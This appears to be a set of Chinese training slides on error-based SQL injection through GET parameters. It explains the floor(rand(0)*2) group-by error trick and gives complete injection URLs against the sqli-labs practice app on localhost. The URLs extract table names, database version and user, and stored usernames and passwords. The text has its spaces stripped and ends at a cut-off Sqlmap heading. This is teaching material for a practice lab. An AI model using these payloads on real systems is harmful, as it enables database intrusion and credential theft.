Web攻防訓練營GET報錯注入1.報錯注入介紹2.GET單引號報錯注入3.GET雙引號報錯注入4.Sqlmap安全測試課程內容01報錯注入介紹報錯注入形式上是兩個嵌套的查詢，即select…(select…)，里面的那個select被稱為子查詢，他的執(zhí)行順序也是先執(zhí)行子查詢，然后再執(zhí)行外面的select，雙注入主要涉及到了幾個sql函數(shù)：rand()隨機函數(shù)，返回0~1之間的某個值floor(a)取整函數(shù)，返回小于等于a，且值最接近a的一個整數(shù)count()聚合函數(shù)也稱作計數(shù)函數(shù)，返回查詢對象的總數(shù)groupbyclause分組語句，按照查詢結果分組通過報錯來顯示出具體的信息。查詢的時候如果使用rand()的話，該值會被計算多次。在使用groupby的時候，floor(rand(0)*2)會被執(zhí)行一次，如果虛表不存在記錄，插入虛表的時候會再被執(zhí)行一次。在一次多記錄的查詢過程中floor(rand(0)*2)的值是定性的，為011011selectcount(*)fromtablegroupbyfloor(rand(0)*2);02GET單引號報錯注入獲取表名http://localhost/sqli-lab/Less-5/index.php?id=0'unionselect1,2,3from(selectcount(*),concat((selectconcat(table_name,0x3a,0x3a)frominformation_schema.tableswheretable_schema=database()limit0,1),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a--+以Sqli-LabLess5為例獲取數(shù)據(jù)庫http://localhost/sqli-lab/Less-5/index.php?id=0'unionselect1,2,3from(selectcount(*),concat((selectconcat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a)limit0,1),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a--+獲取用戶信息http://localhost/sqli-lab/Less-5/index.php?id=0'unionselect1,2,3from(selectcount(*),concat((selectconcat(username,0x3a,0x3a,password,0x3a,0x3a)fromsecurity.userslimit1,1),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a--+03GET雙引號報錯注入獲取數(shù)據(jù)庫http://localhost/sqli-lab/Less-6/index.php?id=0"unionselectcount(*),0,concat(0x3a,0x3a,(selectdatabase()),0x3a,0x3a,floor(rand()*2))asafrominformation_schema.tablesgroupbyalimit0,10--+04Sqlmap安全測試Sqlmap安全測試1.報錯